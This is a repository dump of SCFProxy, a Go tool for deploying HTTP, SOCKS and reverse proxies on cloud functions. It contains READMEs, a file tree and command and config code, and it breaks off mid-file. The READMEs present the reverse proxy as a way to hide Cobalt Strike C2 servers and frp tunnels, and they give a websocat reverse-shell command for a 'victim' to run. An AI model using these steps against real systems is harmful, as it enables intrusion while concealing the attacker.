├── .gitignore ├── .goreleaser.yaml ├── LICENSE ├── README.md ├── README_zh.md ├── cmd ├── clear.go ├── config │ ├── common.go │ ├── credential.go │ ├── http.go │ ├── path.go │ ├── reverse.go │ └── socks.go ├── deploy.go ├── http.go ├── list.go ├── provider.go ├── root.go └── socks.go ├── fileutil └── file.go ├── function ├── code.go ├── http │ ├── alibaba.py │ ├── aws.py │ ├── huawei.py │ ├── package │ │ └── urllib3 │ │ │ ├── __init__.py │ │ │ ├── _collections.py │ │ │ ├── _version.py │ │ │ ├── connection.py │ │ │ ├── connectionpool.py │ │ │ ├── contrib │ │ │ ├── __init__.py │ │ │ ├── _appengine_environ.py │ │ │ ├── _securetransport │ │ │ │ ├── __init__.py │ │ │ │ ├── bindings.py │ │ │ │ └── low_level.py │ │ │ ├── appengine.py │ │ │ ├── ntlmpool.py │ │ │ ├── pyopenssl.py │ │ │ ├── securetransport.py │ │ │ └── socks.py │ │ │ ├── exceptions.py │ │ │ ├── fields.py │ │ │ ├── filepost.py │ │ │ ├── packages │ │ │ ├── __init__.py │ │ │ ├── backports │ │ │ │ ├── __init__.py │ │ │ │ └── makefile.py │ │ │ └── six.py │ │ │ ├── poolmanager.py │ │ │ ├── request.py │ │ │ ├── response.py │ │ │ └── util │ │ │ ├── __init__.py │ │ │ ├── connection.py │ │ │ ├── proxy.py │ │ │ ├── queue.py │ │ │ ├── request.py │ │ │ ├── response.py │ │ │ ├── retry.py │ │ │ ├── ssl_.py │ │ │ ├── ssl_match_hostname.py │ │ │ ├── ssltransport.py │ │ │ ├── timeout.py │ │ │ ├── url.py │ │ │ └── wait.py │ └── tencent.py └── socks │ ├── alibaba │ ├── aws │ ├── pkg │ ├── alibaba │ │ └── main.go │ ├── aws │ │ └── main.go │ ├── go.mod │ ├── go.sum │ ├── server │ │ └── proxy.go │ └── tencent │ │ └── main.go │ └── tencent ├── go.mod ├── go.sum ├── http ├── modifier.go ├── proxy.go └── tls.go ├── img ├── aliyun_accountid.jpg ├── cs.png ├── frp.png ├── http.jpg ├── mysql.jpg ├── reverse_shell.png ├── socks.jpg └── wechat.jpg ├── main.go ├── sdk ├── options.go ├── provider.go ├── provider │ ├── alibaba │ │ ├── http.go │ │ ├── provider.go │ │ └── socks.go │ ├── aws │ │ ├── http.go │ │ ├── provider.go │ │ ├── reverse.go │ │ └── socks.go │ ├── huawei │ │ ├── http.go │ │ ├── huawei.go │ │ └── sign │ │ │ ├── escape.go │ │ │ └── signer.go │ └── tencent │ │ ├── http.go │ │ ├── provider.go │ │ ├── reverse.go │ │ └── socks.go └── result.go └── socks └── socks.go /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .idea/ 3 | dist/ 4 | __pycache__/ 5 | -------------------------------------------------------------------------------- /.goreleaser.yaml: -------------------------------------------------------------------------------- 1 | before: 2 | hooks: 3 | - go mod tidy 4 | 5 | builds: 6 | - id: scfproxy 7 | binary: scfproxy 8 | env: 9 | - CGO_ENABLED=0 10 | goos: 11 | - linux 12 | - windows 13 | - darwin 14 | - freebsd 15 | - openbsd 16 | goarch: 17 | - 386 18 | - amd64 19 | - arm64 20 | 21 | archives: 22 | - format: zip 23 | replacements: 24 | darwin: macOS 25 | 26 | checksum: 27 | algorithm: sha256 28 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 shimmeris 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SCFProxy 2 | 3 | [README](README.md) | [中文文档](README_zh.md) 4 | 5 | SCFProxy is a tool to implement HTTP proxy, SOCKS proxy, and reverse proxy based on cloud function and API gateway 6 | provided by several cloud service providers. 7 | 8 | # Installation 9 | 10 | Go to the [Release](https://github.com/shimmeris/SCFProxy/releases/) page to download the corresponding system package. 11 | 12 | ## Configuration Guide 13 | 14 | ## Configuration credentials 15 | 16 | SCFProxy will generate a `sdk.toml` configuration file in the `~/.config/scfproxy` directory to configure the credential 17 | of cloud providers. 18 | 19 | This file will be loaded by default when `deploy/clear` command is run, or can be specified with the `-c config` 20 | parameter. 21 | 22 | ## Supported Providers 23 | 24 | ### Alibaba 25 | 26 | #### Restrictions 27 | 28 | Reverse proxy is not supported 29 | 30 | #### credentials 31 | 32 | Alibaba requires the following credentials: 33 | 34 | * AccountId 35 | * AccessKeyId 36 | * AccessKeySecret 37 | 38 | `AccountId` can be obtained from the top right corner of the homepage under Personal Information 39 | ![accountId](img/aliyun_accountid.jpg) 40 | 41 | `AccessKeyId/AccessKeySecret` can be added to the [IAM](https://ram.console.aliyun.com/users) page to generate keys for 42 | sub users 43 | 44 | ### Tencent Cloud 45 | 46 | #### Restrictions 47 | 48 | Deployment outside of mainland China is extremely slow, so only regions in mainland China are currently supported 49 | 50 | #### credentials 51 | 52 | Tencent Cloud requires the following credentials: 53 | 54 | * SecretId 55 | * SecretKey 56 | 57 | The key can be generated by adding a sub user on the [IAM](https://console.cloud.tencent.com/cam) page 58 | 59 | ### AWS 60 | 61 | #### Restrictions 62 | 63 | Reverse proxy is not supported 64 | 65 | #### credentials 66 | 67 | AWS requires the following credentials: 68 | 69 | * AccessKeyId 70 | * AccessKeySecret 71 | * RoleArn 72 | 73 | `AccessKeyId/AccessKeySecret` can be generated on 74 | the [IAM](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/security_credentials) page. 75 | 76 | `RoleArn` can be created by referring to 77 | the [Lambda Execution Roles](https://docs.aws.amazon.com/zh_cn/lambda/latest/dg/lambda-intro-execution-role.html) page, 78 | and then filling the corresponding role ARN into the ` sdk.toml` file. 79 | 80 | # Usage guide 81 | 82 | ## Query 83 | 84 | The `scfproxy list` accepts the following five parameters. 85 | 86 | * `provider` lists currently supported cloud providers and can be filtered by the `-m [http|socks|reverse]` parameter to 87 | find the providers that support a certain proxy. 88 | * `region` list regions where cloud provider can be deployed, and the `-p providers` parameter is used to specify the 89 | cloud provider 90 | * `http` Lists deployed HTTP proxies 91 | * `socks` Lists deployed SOCKS proxies 92 | * `reverse` List deployed reverse proxies 93 | 94 | ## HTTP proxy 95 | 96 | ### Deployment 97 | 98 | ```console 99 | scfproxy deploy http -p provider_list -r region_list [-c providerConfigPath] 100 | ``` 101 | 102 | `provider_list` and `region_list` pass in a list of parameters separated by `,`. 103 | 104 | `region_list` supports the following 4 forms (supported on `deploy` and `clear` commands) 105 | 106 | * `*` for all regions 107 | * `area-*` indicates all regions with `area` prefix 108 | * `are-num` indicates the top `num` regions supported by the area (codes are returned in hard-coded order) 109 | * Standard region form provided by the cloud provider 110 | 111 | For each `provider` provided in the parameter, the `region` is resolved as described above, and non-existent `regions` 112 | are ignored. 113 | 114 | Example: 115 | 116 | ```console 117 | // Check the regions supported by Alibaba and Tencent 118 | scfproxy list region -p alibaba,tencent 119 | 120 | scfproxy deploy http -p alibaba,tencent -r ap-1,eu-*,cn-shanghai 121 | ``` 122 | 123 | The result of the above command is 124 | 125 | 1. Deploy the http proxy on `ap-northeast-1`, `eu-central-1`, ` eu-west-1`, `cn-shanghai` regions of `alibaba` 126 | 2. Deploy the http proxy on `ap-beijing` region of `tencent` 127 | 128 | All HTTP proxies deployed through this project will be saved in `~/.config/scfproxy/http.json` for loading when running 129 | the http proxy. 130 | 131 | ### Run 132 | 133 | The first run will generate `scfproxy.cer` and `scfproxy.key` certificates in `~/.config/scfproxy/cert` directory, which 134 | need to be imported into the system certificate and trusted before you can proxy 135 | https requests. 136 | 137 | ```console 138 | scfproxy http -l address [-c cert_path] [-k key_path] 139 | ``` 140 | 141 | `-l address` is in the format `ip:port`, you can omit the ip and use the `:port` form for deployment, which is 142 | equivalent to `0.0.0.0:port` 143 | 144 | Running HTTP proxy will load the records in `~/.config/scfproxy/http.json`, and if there are multiple deployed cloud 145 | functions (regardless of provider), each HTTP request will randomly pick one of them to proxy. 146 | 147 | #### Use effect 148 | 149 | ![http](img/http.jpg) 150 | 151 | ### Clear 152 | 153 | ```console 154 | scfproxy clear http -p provider_list -r region_list [--completely] 155 | ``` 156 | 157 | The clear function only removes triggers by default, if you want to remove functions at the same time, you need to add 158 | the `-e/--completely` flag 159 | 160 | ## SOCKS5 proxy 161 | 162 | ### Deployment 163 | 164 | ```console 165 | scfproxy deploy socks -p provider_list -r region_list [-c providerConfigPath] 166 | ``` 167 | 168 | ### Run 169 | 170 | ```console 171 | scfproxy socks -l socks_port -s scf_port -h address [--auth user:pass] [-c providerConfigPath] 172 | ``` 173 | 174 | `-l socks_port` listen to socks_port and wait for user's socks5 connection 175 | 176 | `-s scf_port` listens to scf_port and waits for connections from the cloud function 177 | 178 | `-h address` for specifying the vps address that cloud function to connect back to 179 | 180 | `--auth [user:pass]` for specifying socks authentication information, no authentication by default 181 | 182 | The socks command needs to load `sdk.toml` for invoking functions and `~/.config/scfproxy/socks.json` for determining 183 | the provider and region of the functions that can be invoked after deployment, so you need to copy the above two files 184 | to the corresponding location in the vps to run. 185 | 186 | If there are multiple deployed cloud functions (regardless of provider), the socks proxy will trigger the execution of 187 | each cloud function and listen for connections from them, after which each socks connection from the client will 188 | randomly pick one of the connections from the cloud function to proxy. 189 | 190 | > The current timeout for socks proxy functions is 15m, so if you use socks proxy for a long connection such as mysql 191 | > connection, you need to schedule it by yourself to avoid accidental connection disconnection when the time is up. 192 | 193 | #### Use effect 194 | 195 | **Long connections** 196 | 197 | The socks5 proxy is used to connect to mysql, you can see that the ip address of the connection is from Alibaba, and 198 | there is no disconnection between commands. 199 | ![mysql](img/mysql.jpg) 200 | 201 | **short connection** 202 | Similar to http, each connection will trigger the execution of the function 203 | ![short](img/socks.jpg) 204 | 205 | ### Clear 206 | 207 | ```console 208 | scfproxy clear socks -p provider_list -r region_list 209 | ``` 210 | 211 | ## Reverse proxy 212 | 213 | > **Only Tencent Cloud currently supports reverse proxy** 214 | 215 | ### Deploy 216 | 217 | ```console 218 | scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list] 219 | ``` 220 | 221 | `-o origin ` Used to specify the return source address to be used for reverse proxy, accepting HTTP and Websocket 222 | protocols. 223 | 224 | `--ip ip_list` is used to restrict access to the source so that only the ip in `ip_list` can access the reverse proxy 225 | gateway address returned by the deployment. 226 | 227 | ### Usage Scenarios 228 | 229 | The following usage scenarios are possible based on reverse proxies. 230 | 231 | #### C2 address hide 232 | 233 | Take cobaltstrike for example, just fill in the api's domain name into the listener's host 234 | 235 | ```console 236 | scfproxy deploy reverse ... -o http://vps --ip victim 237 | ``` 238 | 239 | ![cs.png](img/cs.png) 240 | 241 | #### Reverse shell address hide 242 | 243 | With the help of [websocat](https://github.com/vi/websocat), we can get reverse shell via websocket protocol. 244 | 245 | ```console 246 | scfproxy deploy reverse ... -o ws://vps --ip victim 247 | ``` 248 | 249 | The victim side executes. 250 | 251 | ```console 252 | websocat ws://reverse_proxy_address sh-c:'/bin/bash -i 2>&1' --binary -v --compress-zlib 253 | ``` 254 | 255 | The attacker vps executes. 256 | 257 | ```console 258 | websocat ws-l:0.0.0.0:port -- --binary -E --uncompress-zlib 259 | ``` 260 | 261 | The effect is as shown in. 262 | ![reverse_shell.png](img/reverse_shell.png) 263 | 264 | #### Intranet penetration address hide 265 | 266 | This scenario requires intranet penetration software that supports websocket protocol. 267 | 268 | ```console 269 | scfproxy deploy reverse ... -o ws://vps --ip victim 270 | ``` 271 | 272 | Using [frp](https://github.com/fatedier/frp) as an example, the client configuration. 273 | 274 | ```ini 275 | [common] 276 | server_addr = reverse_proxy_domain 277 | server_port = 80 278 | tls_enable = true 279 | protocol = websocket 280 | 281 | [plugin_sock5] 282 | type = tcp 283 | remote_port = 8080 284 | plugin = socks5 285 | use_encryption = true 286 | use_compression = true 287 | ``` 288 | 289 | The effect is as shown in the E 290 | 291 | ![frp](img/frp.png) 292 | 293 | ### Clear 294 | 295 | ```console 296 | scfproxy clear reverse -p provider_list -r region_list -o origin 297 | ``` 298 | 299 | The `-o origin` argument is used to locate the service to be removed 300 | 301 | # TODO 302 | 303 | - [x] Optimize and add reverse proxy functionality for other providers 304 | - [ ] Optimize the code 305 | - [ ] Beautify the output and error handling 306 | - [ ] Add other cloud providers such as Huawei Cloud, GCP, Azure, etc. 307 | 308 | -------------------------------------------------------------------------------- /README_zh.md: -------------------------------------------------------------------------------- 1 | # SCFProxy 2 | 3 | SCFProxy 是一个基于多个云服务商提供的云函数及 API 网关实现 HTTP 代理、SOCKS 代理、反向代理的工具。 4 | 5 | # 安装 6 | 7 | 前往 [Release](https://github.com/shimmeris/SCFProxy/releases/) 页面下载对应系统压缩包即可。如仍需使用 Python 8 | 旧版,请切换至 [Python](https://github.com/shimmeris/SCFProxy/tree/Python) 分支 9 | 10 | # 配置指南 11 | 12 | ## 配置凭证 13 | 14 | 首次运行 `scfproxy` 会在 `~/.config/scfproxy` 目录生成 `sdk.toml` 配置文件,用于配置云厂商的 AccessKey/SecretKey。 15 | 16 | 之后运行 `deploy/clear` 命令都将默认读取此文件,也可通过 `-c config` 参数指定。 17 | 18 | ## 支持厂商 19 | 20 | ### 阿里云 21 | 22 | #### 限制 23 | 24 | 不支持反向代理 25 | 26 | #### 凭证 27 | 28 | 阿里云需要下述凭证: 29 | 30 | * AccountId 31 | * AccessKeyId 32 | * AccessKeySecret 33 | 34 | `AccountId` 可在主页右上角个人信息处获取 35 | ![accountId](img/aliyun_accountid.jpg) 36 | 37 | `AccessKeyId/AccessKeySecret` 可在 [IAM](https://ram.console.aliyun.com/users) 页面添加子用户生成密钥 38 | 39 | ### 腾讯云 40 | 41 | #### 限制 42 | 43 | 部署中国大陆外地区速度极慢,目前仅支持中国大陆的区域 44 | 45 | #### 凭证 46 | 47 | 腾讯云需要下述凭证: 48 | 49 | * SecretId 50 | * SecretKey 51 | 52 | 可在 [IAM](https://console.cloud.tencent.com/cam) 页面添加子用户生成密钥 53 | 54 | ### AWS 55 | 56 | #### 限制 57 | 58 | 暂不支持反向代理 59 | 60 | #### 凭证 61 | 62 | AWS 需要下述凭证: 63 | 64 | * AccessKeyId 65 | * AccessKeySecret 66 | * RoleArn 67 | 68 | `AccessKeyId/AccessKeySecret` 69 | 可在 [IAM](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/security_credentials) 页面生成密钥 70 | 71 | `RoleArn` 可参考[Lambda 执行角色](https://docs.aws.amazon.com/zh_cn/lambda/latest/dg/lambda-intro-execution-role.html) 72 | 页面创建角色,然后将对应角色 ARN 填入 `sdk.toml` 文件中。 73 | 74 | # 使用指南 75 | 76 | ## 查询 77 | 78 | `scfproxy list` 接受以下五种参数: 79 | 80 | * `provider` 用于列出目前支持的云厂商,可通过 `-m [http|socks|reverse]` 参数过滤出支持某种代理的厂商。 81 | * `region` 用于列出云厂商可部署的区域,需使用 `-p providers` 指定需要查看的云厂商 82 | * `http` 列出已部署的 HTTP 代理 83 | * `socks` 列出已部署的 SOCKS 代理 84 | * `reverse` 列出已部署的 反向代理 85 | 86 | ## HTTP 代理 87 | 88 | ### 部署 89 | 90 | ```console 91 | scfproxy deploy http -p provider_list -r region_list [-c providerConfigPath] 92 | ``` 93 | 94 | `provider_list` 与 `region_list` 传入的参数列表以 `,` 分隔。 95 | 96 | `region_list` 支持如下 4 种形式(在 `deploy` 及 `clear` 命令上都支持) 97 | 98 | * `*` 表示所有区域 99 | * `area-*` 表示带有 `area` 区域前缀的所有地区 100 | * `are-num` 表示该 area 区域支持的前 `num` 个地区(代码硬编码顺序返回) 101 | * 标准形式,即云厂商所提供的标准 region 形式 102 | 103 | 针对参数中提供的每一个 `provider`,`region` 都会按照上述方式进行解析,不存在的 `region` 将被忽略 104 | 例子: 105 | 106 | ```console 107 | // 查看阿里和腾讯支持的区域 108 | scfproxy list region -p alibaba,tencent 109 | 110 | scfproxy deploy http -p alibaba,tencent -r ap-1,eu-*,cn-shanghai 111 | ``` 112 | 113 | 上面这条命令的执行结果为 114 | 115 | 1. 在 `alibaba` 上部署 `ap-northeast-1`, `eu-central-1`, ` eu-west-1`, `cn-shanghai` 区域的 http 代理 116 | 2. 在 `tencent` 上部署 `ap-beijing` 区域的 http 代理 117 | 118 | 所有通过该项目部署的 HTTP 代理将会保存在 `~/.config/scfproxy/http.json` 中,用于运行 http 代理时加载。 119 | 120 | ### 运行 121 | 122 | 首次运行会在 `~/.confg/scfproxy/cert` 目录生成 `scfproxy.cer` 及 `scfproxy.key` 证书,需要将其导入系统证书并信任才可以代理 123 | https 请求。 124 | 125 | ```console 126 | scfproxy http -l address [-c cert_path] [-k key_path] 127 | ``` 128 | 129 | `-l address` 格式为 `ip:port`,可省略 ip 使用 `:port` 形式进行部署,效果等同于 `0.0.0.0:port` 130 | 131 | HTTP 代理运行将读取 `~/.config/scfproxy/http.json` 中的记录,如果存在多个已部署的云函数(不区分厂商),每个 HTTP 132 | 请求将随机挑选其中的云函数进行代理。 133 | 134 | #### 使用效果 135 | 136 | ![http](img/http.jpg) 137 | 138 | ### 清理 139 | 140 | ```console 141 | scfproxy clear http -p provider_list -r region_list [--completely] 142 | ``` 143 | 144 | 清理功能默认只会删除触发器,如需同时删除函数,需添加 `-e/--completely` 参数 145 | 146 | ## SOCKS5 代理 147 | 148 | ### 部署 149 | 150 | ```console 151 | scfproxy deploy socks -p provider_list -r region_list [-c providerConfigPath] 152 | ``` 153 | 154 | ### 运行 155 | 156 | ```console 157 | scfproxy socks -l socks_port -s scf_port -h address [--auth user:pass] [-c providerConfigPath] 158 | ``` 159 | 160 | `-l socks_port` 监听 socks_port,等待用户的 socks5 连接 161 | 162 | `-s scf_port` 监听 scf_port,等待来自云函数的连接 163 | 164 | `-h address` 用于指定云函数回连的 vps 地址 165 | 166 | `--auth [user:pass]` 用于指定 socks 认证信息,默认无认证 167 | 168 | socks 命令需要加载 `sdk.toml` 用于触发函数,及部署后生成的 `~/.config/scfproxy/socks.json` 169 | 用于确定可以调用的函数的厂商及地区,因此需要将上述两个文件复制到 vps 对应位置运行。 170 | 171 | 如果存在多个已部署的云函数(不区分厂商),socks 代理将触发每个云函数的执行,并监听来自他们的连接,之后每个来自客户端的 socks 172 | 连接将随机挑选其中的来自云函数的连接进行代理。 173 | 174 | 175 | > 目前 socks 代理部署的函数超时时间为 15m,因此如果将 socks 代理用于一个长连接如 mysql 连接,需自行安排好时间,避免时间一到导致连接意外断开。 176 | > 177 | 178 | #### 使用效果 179 | 180 | **长连接** 181 | 182 | 通过 socks5 代理进行 mysql 连接,可以看到连接中的 ip 地址来自于阿里云的机器,且命令之间不会出现网络中断。 183 | ![mysql](img/mysql.jpg) 184 | 185 | **短连接** 186 | 与 http 类似,每次连接将触发函数执行 187 | ![short](img/socks.jpg) 188 | 189 | ### 清理 190 | 191 | ```console 192 | scfproxy clear socks -p provider_list -r region_list 193 | ``` 194 | 195 | ## 反向代理 196 | 197 | > **目前仅腾讯云支持反向代理** 198 | 199 | ### 部署 200 | 201 | ```console 202 | scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list] 203 | ``` 204 | 205 | `-o origin ` 用于指定需要用于反向代理的回源地址,可接受 HTTP 及 Websocket 协议。 206 | 207 | `--ip ip_list` 用于限制访问来源,只有 `ip_list` 中的 ip 才能访问部署返回的反向代理网关地址。 208 | 209 | ### 使用场景 210 | 211 | 基于反向代理可有如下使用方法, 212 | 213 | #### C2 隐藏 214 | 215 | 以 cobaltstrike 为例,只需将 api 的域名填入 listener 的 host 216 | 217 | ```console 218 | scfproxy deploy reverse ... -o http://vps --ip victim 219 | ``` 220 | 221 | ![cs.png](img/cs.png) 222 | 223 | #### 反弹 shell 地址隐藏 224 | 225 | 借助 [websocat](https://github.com/vi/websocat) 工具可实现反弹 shell 的功能。 226 | 227 | ```console 228 | scfproxy deploy reverse ... -o ws://vps --ip victim 229 | ``` 230 | 231 | 受害者端执行: 232 | 233 | ```console 234 | websocat ws://reverse_proxy_address sh-c:'/bin/bash -i 2>&1' --binary -v --compress-zlib 235 | ``` 236 | 237 | 攻击者 vps 执行: 238 | 239 | ```console 240 | websocat ws-l:0.0.0.0:port - --binary -E --uncompress-zlib 241 | ``` 242 | 243 | 效果如图: 244 | ![reverse_shell.png](img/reverse_shell.png) 245 | 246 | #### 内网穿透地址隐藏 247 | 248 | 该使用场景需要支持 websocket 协议的内网穿透软件。 249 | 250 | ```console 251 | scfproxy deploy reverse ... -o ws://vps --ip victim 252 | ``` 253 | 254 | 以 frp 为例,客户端配置: 255 | 256 | ```ini 257 | [common] 258 | server_addr = reverse_proxy_domain 259 | server_port = 80 260 | tls_enable = true 261 | protocol = websocket 262 | 263 | [plugin_sock5] 264 | type = tcp 265 | remote_port = 8080 266 | plugin = socks5 267 | use_encryption = true 268 | use_compression = true 269 | ``` 270 | 271 | 效果如图 272 | ![frp](img/frp.png) 273 | 274 | ### 清理 275 | 276 | ```console 277 | scfproxy clear reverse -p provider_list -r region_list -o origin 278 | ``` 279 | 280 | `-o origin` 参数用于定位需要删除的服务 281 | 282 | 283 | # TODO 284 | 285 | - [x] 优化并添加其他厂商的反向代理功能 286 | - [ ] 优化代码 287 | - [ ] 美化输出及错误处理 288 | - [ ] 增加华为云,GCP,Azure 等其他云厂商 289 | -------------------------------------------------------------------------------- /cmd/clear.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "errors" 5 | "sync" 6 | 7 | "github.com/sirupsen/logrus" 8 | "github.com/spf13/cobra" 9 | 10 | "github.com/shimmeris/SCFProxy/cmd/config" 11 | "github.com/shimmeris/SCFProxy/sdk" 12 | ) 13 | 14 | var clearCmd = &cobra.Command{ 15 | Use: "clear [http|socks|reverse] -p providers -r regions", 16 | Short: "Clear deployed module-specific proxies", 17 | ValidArgs: []string{"http", "socks", "reverse"}, 18 | Args: cobra.MatchAll(cobra.ExactArgs(1), cobra.OnlyValidArgs), 19 | RunE: func(cmd *cobra.Command, args []string) error { 20 | providers, err := createProviders(cmd) 21 | if err != nil { 22 | return err 23 | } 24 | completely, _ := cmd.Flags().GetBool("completely") 25 | 26 | module := args[0] 27 | switch module { 28 | case "http": 29 | return clearHttp(providers, completely) 30 | case "socks": 31 | return clearSocks(providers) 32 | case "reverse": 33 | origin, _ := cmd.Flags().GetString("origin") 34 | if origin == "" { 35 | return errors.New("missing parameter [-o,--origin]") 36 | } 37 | return clearReverse(providers, origin) 38 | } 39 | 40 | return nil 41 | }, 42 | } 43 | 44 | func init() { 45 | rootCmd.AddCommand(clearCmd) 46 | 47 | clearCmd.Flags().StringSliceP("provider", "p", nil, "specify which cloud providers to clear proxy") 48 | clearCmd.Flags().StringSliceP("region", "r", nil, "specify which regions of cloud providers clear proxy") 49 | clearCmd.Flags().StringP("config", "c", config.ProviderConfigPath, "path of provider credential file") 50 | 51 | // clear http needed 52 | clearCmd.Flags().BoolP("completely", "e", false, "[http] whether to completely clear up deployed proxies (by default only delete triggers)`[http | socks]`") 53 | 54 | // clear reverse needed 55 | clearCmd.Flags().StringP("origin", "o", "", "[reverset] Address of the reverse proxy back to the source") 56 | 57 | clearCmd.MarkFlagRequired("provider") 58 | clearCmd.MarkFlagRequired("region") 59 | } 60 | 61 | func clearHttp(providers []sdk.Provider, completely bool) error { 62 | conf, err := config.LoadHttpConfig() 63 | if err != nil { 64 | return err 65 | } 66 | 67 | var wg sync.WaitGroup 68 | wg.Add(len(providers)) 69 | 70 | for _, p := range providers { 71 | go func(p sdk.Provider) { 72 | defer wg.Done() 73 | hp := p.(sdk.HttpProxyProvider) 74 | provider, region := hp.Name(), hp.Region() 75 | 76 | if record, ok := conf.Get(provider, region); ok && record.Api == "" && !completely { 77 | logrus.Infof("%s %s trigger has already been cleared", provider, region) 78 | return 79 | } 80 | 81 | opts := &sdk.FunctionOpts{ 82 | Namespace: Namespace, 83 | FunctionName: HTTPFunctionName, 84 | TriggerName: HTTPTriggerName, 85 | OnlyTrigger: !completely, 86 | } 87 | 88 | err := hp.ClearHttpProxy(opts) 89 | if err != nil { 90 | logrus.Error(err) 91 | return 92 | } 93 | if completely { 94 | conf.Delete(provider, region) 95 | logrus.Printf("[success] cleared http function in %s.%s", provider, region) 96 | } else { 97 | conf.Set(provider, region, &config.HttpRecord{}) 98 | logrus.Printf("[success] cleared http trigger in %s.%s", provider, region) 99 | } 100 | }(p) 101 | } 102 | wg.Wait() 103 | 104 | return conf.Save() 105 | } 106 | 107 | func clearSocks(providers []sdk.Provider) error { 108 | conf, err := config.LoadSocksConfig() 109 | if err != nil { 110 | return err 111 | } 112 | 113 | var wg sync.WaitGroup 114 | wg.Add(len(providers)) 115 | 116 | for _, p := range providers { 117 | go func(p sdk.Provider) { 118 | defer wg.Done() 119 | sp := p.(sdk.SocksProxyProvider) 120 | 121 | provider, region := sp.Name(), sp.Region() 122 | 123 | opts := &sdk.FunctionOpts{ 124 | Namespace: Namespace, 125 | FunctionName: SocksFunctionName, 126 | } 127 | err := sp.ClearSocksProxy(opts) 128 | if err != nil { 129 | logrus.Error(err) 130 | return 131 | } 132 | 133 | conf.Delete(provider, region) 134 | logrus.Printf("[success] cleared socks function in %s.%s", provider, region) 135 | }(p) 136 | } 137 | 138 | wg.Wait() 139 | return conf.Save() 140 | } 141 | 142 | func clearReverse(providers []sdk.Provider, origin string) error { 143 | conf, err := config.LoadReverseConfig() 144 | if err != nil { 145 | return err 146 | } 147 | 148 | var wg sync.WaitGroup 149 | 150 | for _, p := range providers { 151 | i := 0 152 | for _, record := range conf.Records { 153 | if record.Provider != p.Name() || record.Region != p.Region() || record.Origin != origin { 154 | conf.Records[i] = record 155 | i++ 156 | continue 157 | } 158 | 159 | wg.Add(1) 160 | go func(p sdk.Provider, record *config.ReverseRecord) { 161 | defer wg.Done() 162 | 163 | rp := p.(sdk.ReverseProxyProvider) 164 | opts := &sdk.ReverseProxyOpts{ 165 | ServiceId: record.ServiceId, 166 | ApiId: record.ApiId, 167 | PluginId: record.PluginId, 168 | } 169 | err := rp.ClearReverseProxy(opts) 170 | if err != nil { 171 | logrus.Error(err) 172 | return 173 | } 174 | 175 | logrus.Printf("[success] cleard reverse proxy for %s in %s.%s", origin, p.Name(), p.Region()) 176 | }(p, record) 177 | } 178 | conf.Records = conf.Records[:i] 179 | } 180 | 181 | wg.Wait() 182 | return conf.Save() 183 | } 184 | -------------------------------------------------------------------------------- /cmd/config/common.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "encoding/json" 5 | "os" 6 | ) 7 | 8 | func save(v interface{}, path string) error { 9 | data, _ := json.MarshalIndent(v, "", " ") 10 | if err := os.WriteFile(path, data, 0644); err != nil { 11 | return err 12 | } 13 | return nil 14 | } 15 | -------------------------------------------------------------------------------- /cmd/config/credential.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/pelletier/go-toml" 7 | ) 8 | 9 | const ProviderConfigContent = `[alibaba] 10 | AccessKeyId = "" 11 | AccessKeySecret = "" 12 | AccountId = "" 13 | 14 | [aws] 15 | AccessKeyId = "" 16 | AccessKeySecret = "" 17 | RoleArn = "" 18 | 19 | [tencent] 20 | # Named SecretId in tencent 21 | AccessKeyId = "" 22 | # Named SecretKey in tencent 23 | AccessKeySecret = "" 24 | 25 | [huawei] 26 | AccessKeyId = "" 27 | AccessKeySecret = "" 28 | ` 29 | 30 | type Credential struct { 31 | AccessKeyId string 32 | AccessKeySecret string 33 | AccountId string 34 | RoleArn string 35 | } 36 | 37 | func (c Credential) isSet() bool { 38 | return c.AccessKeyId != "" && c.AccessKeySecret != "" 39 | } 40 | 41 | type ProviderConfig struct { 42 | Alibaba *Credential 43 | Tencent *Credential 44 | Aws *Credential 45 | } 46 | 47 | func LoadProviderConfig(path string) (*ProviderConfig, error) { 48 | data, err := os.ReadFile(path) 49 | if err != nil { 50 | return nil, err 51 | } 52 | 53 | config := &ProviderConfig{} 54 | if err := toml.Unmarshal(data, config); err != nil { 55 | return nil, err 56 | } 57 | return config, nil 58 | } 59 | 60 | func (c *ProviderConfig) ProviderCredentialByName(provider string) *Credential { 61 | switch provider { 62 | case "alibaba": 63 | return c.Alibaba 64 | case "tencent": 65 | return c.Tencent 66 | case "aws": 67 | return c.Aws 68 | default: 69 | return nil 70 | } 71 | } 72 | 73 | func (c *ProviderConfig) IsSet(provider string) bool { 74 | cred := c.ProviderCredentialByName(provider) 75 | if cred == nil { 76 | return false 77 | } 78 | return cred.isSet() 79 | } 80 | -------------------------------------------------------------------------------- /cmd/config/http.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "encoding/json" 5 | "errors" 6 | "os" 7 | "sync" 8 | ) 9 | 10 | type HttpRecord struct { 11 | Api string 